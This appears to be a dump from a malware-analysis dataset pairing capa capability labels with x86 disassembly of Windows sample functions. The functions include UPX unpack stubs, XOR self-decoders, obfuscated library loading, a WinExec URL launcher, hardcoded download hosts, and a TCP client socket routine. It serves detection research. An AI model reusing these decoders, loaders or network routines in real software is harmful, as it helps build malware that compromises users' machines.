joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004770
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
cmp eax, 0xffffffc2
mov eax, ebx
inc eax
nop
inc eax
nop
mov eax, 0x83239eba
mov eax, 0x234c0540
mov eax, ebx
mov eax, 0x66bf4d0a
cmp eax, 0xe2f3ffe0
cmp eax, 0xffffffd9
inc eax
mov eax, 0x24c0ddcf
inc eax
inc eax
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
mov eax, ecx
cmp eax, 0xbcc09547
inc eax
inc eax
mov eax, ebx
mov eax, 0x3cc22c4
mov eax, ecx
nop
nop
inc eax
mov eax, ebx
inc eax
inc eax
mov eax, 0x15d566bb
mov eax, ecx
inc eax
cmp eax, 0x927c995c
mov eax, ebx
mov eax, ecx
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, 0xf7ffc2b6
mov eax, ebx
cmp eax, 0xc48740a
mov eax, 0x933d9e25
inc eax
mov eax, ebx
nop
mov eax, ebx
cmp eax, 0x28c32b0
cmp eax, 0x44ca75da
mov eax, ecx
mov eax, 0xb9bcd2e5
nop
nop
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
push 0x1002beb4
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
cmp eax, 0xddeeeaed
cmp eax, 0x1d96a623
cmp eax, 0x3a
mov eax, 0x507b5a6e
nop
cmp eax, 0xcfa9fb38
cmp eax, 0xffb3bb47
cmp eax, 0x9f7a801d
nop
mov eax, ebx
cmp eax, 0xffffffae
mov eax, ebx
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x1003e22c], eax
inc eax
nop
nop
inc eax
mov eax, 0x47b09ba0
mov eax, 0x8f539c7f
mov eax, 0x16f32174
mov eax, ecx
mov eax, ebx
cmp eax, 0x10154732
mov eax, ebx
mov eax, ecx
cmp eax, 0xffffff92
inc eax
mov eax, ebx
cmp eax, 5
nop
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
cmp dword [0x1003e22c], 0
jne 0x1000491f
push 0x41030
push str.DllWrap
push str.miss
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov eax, ecx
mov eax, ebx
mov eax, ecx
mov eax, ecx
nop
mov eax, ebx
mov eax, ecx
nop
mov eax, 0xc1960ef7
cmp eax, 1
nop
inc eax
mov eax, ecx
mov eax, ecx
mov eax, ebx
mov eax, ebx
mov eax, ecx
cmp eax, 8
mov eax, 0xdbcd57f7
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
cmp dword [0x1003e22c], 0
je 0x10004931
mov dword [ebp - 4], 1
jmp 0x10004938
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x1001e770
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1001e5e6

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x12f73b0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xae8000]
push edi
or ebp, 0xffffffff
jmp 0x12f73d2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x12f73d9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x12f73c8
mov eax, 1
add ebx, ebx
jne 0x12f73eb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x12f73fc
jne 0x12f741b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x12f741b
dec eax
add ebx, ebx
jne 0x12f7408
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x12f73e0
add ebx, ebx
jne 0x12f7417
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x12f746d
xor ecx, ecx
sub eax, 3
jb 0x12f7433
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x12f74a2
sar eax, 1
mov ebp, eax
jmp 0x12f743e
add ebx, ebx
jne 0x12f743e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x12f740c
inc ecx
add ebx, ebx
jne 0x12f744c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x12f740c
add ebx, ebx
jne 0x12f7459
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x12f744e
jne 0x12f746a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x12f744e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x12f748c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x12f747e
jmp 0x12f73ce
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x12f748c
add edi, ecx
jmp 0x12f73ce
pop esi
mov edi, esi
mov ecx, 0x26597
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x12f74aa
mov eax, dword [edi]
mov bl, byte [edi + 4]
xchg ah, al
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x12f74af
lea edi, [esi + 0xef3000]
mov eax, dword [edi]
or eax, eax
je 0x12f7517
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xf25b98]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xf25cf8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x12f74d5
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xf25d00]
or eax, eax
je 0x12f7511
mov dword [ebx], eax
add ebx, 4
jmp 0x12f74f2
call dword [esi + 0xf25cfc]
mov ebp, dword [esi + 0xf25d04]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x12f754b
sub esp, 0xffffff80
jmp 0xa17c64
Function at 0x10002e21
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x10002e30
pop dword [ebp - 0xc]
mov eax, 0xd1eb88
sub eax, 0xf0d1bd58
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xc75d4f7b
add dword [ebp - 0x1c], 0x86f4f5d0
mov dword [ebp - 0x18], 0xc88d145c
sub dword [ebp - 0x18], 0x9659c817
mov dword [ebp - 0x14], 0xcb20341e
add dword [ebp - 0x14], 0x812c1010
mov dword [ebp - 0x10], 0xceebee11
add dword [ebp - 0x10], 0x311411ef
lea eax, [ebp - 0x1c]
push eax
mov eax, 0xfd18a7ff
add eax, 0x12e7b1b5
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x298dc454
add dword [ebp - 0x1c], 0x4ae4a502
mov dword [ebp - 0x18], 0x480ccb79
sub dword [ebp - 0x18], 0x6a06a04
mov dword [ebp - 0x14], 0xf2bb992c
sub dword [ebp - 0x14], 0x8f4c2cc0
mov dword [ebp - 0x10], 0x884c795a
add dword [ebp - 0x10], 0x77b386a6
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x7fc226f3
add eax, 0x903e32a5
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x371a2
push 0
call eax
mov ecx, 0x4a2b
xor edi, edi
add edi, eax
mov edx, 0xafb59566
add edx, 0x604b129a
add edx, dword [ebp - 0xc]
mov esi, 0x948f3e28
add esi, 0xc1226c04
xor dword [ebp - 8], ecx
mov ebx, dword [edx]
sub dword [ebp - 4], ebx
sub ebx, esi
mov dword [ebp - 8], 0xe3bf538b
mov dword [edi], ebx
xor dword [ebp - 8], edx
add edi, 0x5a012c5b
add edi, 0xa5fed3a9
add edx, 0x88225cc5
add edx, 0x77dda33f
loop 0x10002f4e
add eax, 0x11b7f
xor ebx, ebx
add ebx, eax
add eax, 0xf62ccc1d
sub eax, 0xf62ccc18
mov ecx, sym.libEGL.dll_Ordinal_0
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x401324
Capabilities:
Write file on windows

Disassembly:
enter 0, 0
pushal
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
push dword [ebp + 0x10]
call sub.KERNEL32.dll_CreateFileA
inc eax
je 0x40137c
dec eax
push eax
push 2
push 0
push 0
push eax
call sub.KERNEL32.dll_SetFilePointer
pop eax
push eax
push ecx
mov ecx, esp
push 0
push ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
call sub.KERNEL32.dll_WriteFile
pop ecx
or eax, eax
pop eax
pushfd
push eax
call sub.KERNEL32.dll_CloseHandle
popfd
je 0x40137c
clc
popal
leave
ret 0xc
stc
jmp 0x401377

Function at 0x40148b
Capabilities:
Create process on windows

Disassembly:
pushal
call sub.USER32.dll_GetActiveWindow
push 0
push 0x4014ca
push 0
push eax
call sub.USER32.dll_FindWindowExA
push 0
push 0x4014d2
push 0
push eax
call sub.USER32.dll_FindWindowExA
push 0
push 0x4014e0
push 0
push eax
call sub.USER32.dll_FindWindowExA
push 0x200
push 0x402898
push eax
call sub.USER32.dll_GetWindowTextA
mov dword [0x402a98], eax
mov ebx, section.DATA
cmp dword [ebx], 0
je 0x401497
push ebx
push 0x402898
call sub.shell32.dll_StrStrA
cmp eax, 0
je 0x40141c
jmp 0x401428
push ebx
call sub.KERNEL32.dll_lstrlenA
add ebx, eax
inc ebx
inc ebx
jmp 0x401401
push 0x40229d
push ebx
call sub.KERNEL32.dll_lstrcmpA
cmp eax, 0
je 0x401497
push ebx
push 0x40229d
call sub.KERNEL32.dll_lstrcpyA
push 0x401499
push 0x402898
call sub.KERNEL32.dll_lstrcpyA
mov eax, 0x402898
add eax, 0x30
push 0x40220f
push eax
call sub.KERNEL32.dll_lstrcpyA
push 0x402898
call sub.KERNEL32.dll_lstrlenA
add eax, 0x402898
mov byte [eax], 0x3f
inc eax
mov byte [eax], 0x75
inc eax
mov byte [eax], 0x3d
inc eax
push 0x40229d
push eax
call sub.KERNEL32.dll_lstrcpyA
push 2
push 0x402898
call sub.KERNEL32.dll_WinExec
popal
ret
Function at 0x433330
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x2e000]
push edi
jmp 0x43334a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x433351
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x433340
mov eax, 1
add ebx, ebx
jne 0x433363
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x433358
jne 0x433374
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x433358
xor ecx, ecx
sub eax, 3
jb 0x433388
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4333fa
mov ebp, eax
add ebx, ebx
jne 0x433393
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4333a0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4333c4
inc ecx
add ebx, ebx
jne 0x4333b0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4333a5
jne 0x4333c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4333a5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4333e4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4333d5
jmp 0x433346
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4333e4
add edi, ecx
jmp 0x433346
pop esi
mov edi, esi
mov ecx, 0x24a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x433402
cmp byte [edi], 1
jne 0x433402
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x433407
lea edi, [esi + 0x31000]
mov eax, dword [edi]
or eax, eax
je 0x43347f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x38184]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x38238]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x433434
mov ecx, edi
jns 0x433463
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3823c]
or eax, eax
je 0x433479
mov dword [ebx], eax
add ebx, 4
jmp 0x433451
call dword [esi + 0x3824c]
mov ebp, dword [esi + 0x38240]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1f7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4334b3
sub esp, 0xffffff80
jmp 0x40323c
Function at 0x4034f0
Capabilities:
Encode data using xor

Disassembly:
add cl, byte [edx + 0x31]
fstp dword [edx + 0x31]
ror dword [ecx + 0x7db953cb], 1
xchg edx, eax
lds esi, [edi + edi*4 + 0x27]
dec esi
imul ebp, dword [esi], 0x37becf31
pushal
int1
xor edi, esi

Function at 0x4051fc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405235
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403278
jmp 0x40523e
mov eax, ebx
mov edx, esi
call fcn.0040322c
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x405248
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405269
mov al, byte [esp]
jmp 0x40526b
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x4069dc
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x406a24
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, ebx
call fcn.00406978
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
call sub.kernel32.dll_GetFileAttributesA
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406a2b
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x406c2c
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 4], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x406cba
push dword fs:[eax]
mov dword fs:[eax], esp
test ebx, ebx
jne 0x406c77
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
lea edx, [ebp - 0x108]
mov eax, esi
call fcn.00403278
jmp 0x406ca4
call sub.kernel32.dll_GetCommandLineA_1
cmp byte [eax], 0
jne 0x406c8b
lea eax, [ebp - 4]
call fcn.00403198
jmp 0x406c9a
lea edx, [ebp - 4]
call fcn.00406af0
test ebx, ebx
je 0x406c9a
dec ebx
jmp 0x406c7c
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.0040322c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406cc1
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x406cc8
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffefc
mov ebx, eax
push 0x104
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
mov edx, ebx
mov eax, esp
call fcn.00404dd0
add esp, 0x104
pop ebx
ret
Function at 0x403db0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x408a5f
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x40f238]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0xc], esi
mov eax, dword [0x40a370]
mov dword [esi + 0x20], eax
mov ecx, eax
mov edx, 1
lock xadd dword [ecx], edx
lea ecx, [esi + 0x24]
mov dword [esp + 0x18], 0
call dword [sym.imp.8_public:_void___thiscall_QWaitCondition::constructor_void_]
push 0
lea ecx, [esi + 0x28]
mov byte [esp + 0x1c], 1
call dword [sym.imp.8_public:_void___thiscall_QMutex::constructor_enum_QMutex::RecursionMode_]
mov edi, dword [sym.imp.8_public:_void___thiscall_QSemaphore::constructor_int_]
push 0
lea ecx, [esi + 0x2c]
mov byte [esp + 0x1c], 2
call edi
push 0
lea ecx, [esi + 0x30]
mov byte [esp + 0x1c], 3
call edi
mov dword [0x40f2a4], esi
mov eax, esi
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x10
ret

Function at 0x403f00
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x408a5f
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x40f238]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0xc], esi
mov edi, dword [sym.imp.8_public:_void___thiscall_QSemaphore::destructor_void_]
lea ecx, [esi + 0x30]
mov dword [esp + 0x18], 3
call edi
lea ecx, [esi + 0x2c]
mov byte [esp + 0x18], 2
call edi
lea ecx, [esi + 0x28]
mov byte [esp + 0x18], 1
call dword [sym.imp.8_public:_void___thiscall_QMutex::destructor_void_]
lea ecx, [esi + 0x24]
mov byte [esp + 0x18], 0
call dword [sym.imp.8_public:_void___thiscall_QWaitCondition::destructor_void_]
mov eax, dword [esi + 0x20]
lea ecx, [esi + 0x20]
mov dword [esp + 0x18], 0xffffffff
or edx, 0xffffffff
lock xadd dword [eax], edx
jne 0x403f81
mov eax, dword [ecx]
push eax
call fcn.004012c0
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x10
ret
Function at 0x407490
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4092ab
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebp
push esi
push edi
mov eax, dword [0x40f238]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov edi, ecx
mov dword [esp + 0x24], edi
mov eax, dword [esp + 0x38]
push eax
call dword [0x40a3a0]
mov dword [edi], 0x40aea0
mov ecx, dword [0x40a370]
mov dword [esp + 0x30], 0
mov dword [edi + 8], ecx
mov edx, ecx
mov eax, 1
lock xadd dword [edx], eax
mov ecx, dword [0x40a370]
mov dword [edi + 0xc], ecx
mov edx, ecx
mov eax, 1
lock xadd dword [edx], eax
mov ebp, dword [0x40a2f0]
push 0xffffffffffffffff
push str.http:__up.filesnow.info
mov byte [esp + 0x38], 2
call ebp
mov dword [esp + 0x24], eax
push 0xffffffffffffffff
push str.http:__prt.filesinc.info
mov byte [esp + 0x40], 3
call ebp
mov dword [esp + 0x28], eax
push 0xffffffffffffffff
push str.http:__prt.filessolutions.info
mov byte [esp + 0x48], 4
call ebp
mov dword [esp + 0x2c], eax
push 0xffffffffffffffff
push str.http:__up.downloadgroup.info
mov byte [esp + 0x50], 5
call ebp
add esp, 0x20
mov dword [esp + 0x10], eax
mov eax, dword [0x40a370]
mov dword [esp + 0x38], eax
mov ecx, 1
lock xadd dword [eax], ecx
lea edx, [esp + 0x10]
push edx
lea ecx, [esp + 0x3c]
mov byte [esp + 0x34], 7
call fcn.00401ab0
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x3c]
call fcn.00401ab0
lea ecx, [esp + 0x18]
push ecx
lea ecx, [esp + 0x3c]
call fcn.00401ab0
lea edx, [esp + 0x1c]
push edx
lea ecx, [esp + 0x3c]
call fcn.00401ab0
mov eax, dword [esp + 0x38]
cmp dword [edi + 8], eax
je 0x4075e2
mov ebp, eax
mov ecx, 1
lock xadd dword [eax], ecx
mov edx, dword [edi + 8]
or eax, 0xffffffff
lock xadd dword [edx], eax
jne 0x4075c9
mov ecx, dword [edi + 8]
push ecx
lea ecx, [edi + 8]
call fcn.004012c0
mov dword [edi + 8], ebp
test byte [ebp + 0x10], 1
jne 0x4075de
mov edx, dword [ebp + 4]
push edx
lea ecx, [edi + 8]
call fcn.00401660
mov eax, dword [esp + 0x38]
mov byte [esp + 0x30], 6
or ecx, 0xffffffff
lock xadd dword [eax], ecx
jne 0x4075fe
mov edx, dword [esp + 0x38]
push edx
lea ecx, [esp + 0x3c]
call fcn.004012c0
mov eax, dword [esp + 0x10]
mov byte [esp + 0x30], 5
or ecx, 0xffffffff
lock xadd dword [eax], ecx
mov esi, dword [0x40a3a4]
jne 0x407620
mov edx, dword [esp + 0x10]
push edx
call esi
add esp, 4
mov eax, dword [esp + 0x14]
mov byte [esp + 0x30], 4
or ecx, 0xffffffff
lock xadd dword [eax], ecx
jne 0x40763c
mov edx, dword [esp + 0x14]
push edx
call esi
add esp, 4
mov eax, dword [esp + 0x18]
mov byte [esp + 0x30], 3
or ecx, 0xffffffff
lock xadd dword [eax], ecx
jne 0x407658
mov edx, dword [esp + 0x18]
push edx
call esi
add esp, 4
mov eax, dword [esp + 0x1c]
mov byte [esp + 0x30], 2
or ecx, 0xffffffff
lock xadd dword [eax], ecx
jne 0x407674
mov edx, dword [esp + 0x1c]
push edx
call esi
add esp, 4
lea eax, [esp + 0x20]
push eax
call dword [0x40a2b8]
add esp, 4
lea ecx, [esp + 0x20]
call dword [0x40a2b4]
push eax
call dword [0x40a2b0]
add esp, 4
mov eax, edi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
add esp, 0x24
ret 4
Function at 0x100013d0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001023a
mov eax, dword fs:[0]
push eax
sub esp, 0x19c
mov eax, dword [0x100150f0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
lea ecx, [esi + 4]
mov dword [ebp - 0x1a8], esi
mov dword [esi], vtable.CClientSocket.0
call fcn.10001000
lea ecx, [esi + 0x2c]
mov dword [ebp - 4], 0
call fcn.10001000
lea ecx, [esi + 0x54]
mov byte [ebp - 4], 1
call fcn.10001000
lea ecx, [esi + 0x7c]
mov byte [ebp - 4], 2
call fcn.10001000
lea eax, [ebp - 0x1a0]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 0x1a8], 0x2a264024
mov ecx, dword [ebp - 0x1a8]
mov dword [esi + 0xac], eax
mov word [esi + 0xb4], 0x25
mov dword [esi + 0xa8], 0xffffffff
mov dword [esi + 0xb0], ecx
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10003b30
mov esp, ebp
pop ebp
ret

Function at 0x100015a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x100150f0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
call fcn.100016e0
push dword [esi + 0xac]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 6
push 1
push 2
mov byte [esi + 0xb5], 0
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0xa8], eax
cmp eax, 0xffffffff
jne 0x100015fa
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10003b30
mov esp, ebp
pop ebp
ret 8
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
je 0x100015e6
push dword [ebp + 0xc]
mov eax, 2
mov word [ebp - 0x20], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1e], ax
mov eax, dword [edi + 0xc]
push 0x10
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x20]
push eax
push dword [esi + 0xa8]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x100015e6
push 4
lea eax, [ebp - 0x24]
push eax
push 8
push 0xffff
push dword [esi + 0xa8]
mov dword [ebp - 0x24], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10001698
push eax
push eax
lea eax, [ebp - 0x28]
push eax
push 0
push 0
push 0xc
lea eax, [ebp - 0x10]
push eax
push 0x98000004
push dword [esi + 0xa8]
mov dword [ebp - 0x10], 1
mov dword [ebp - 0xc], 0x2bf20
mov dword [ebp - 8], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 1
push 0
push 0
push esi
push 0x10001bd0
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.10001ea0
mov ecx, dword [ebp - 4]
add esp, 0x1c
mov dword [esi + 0xa4], eax
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.10003b30
mov esp, ebp
pop ebp
ret 8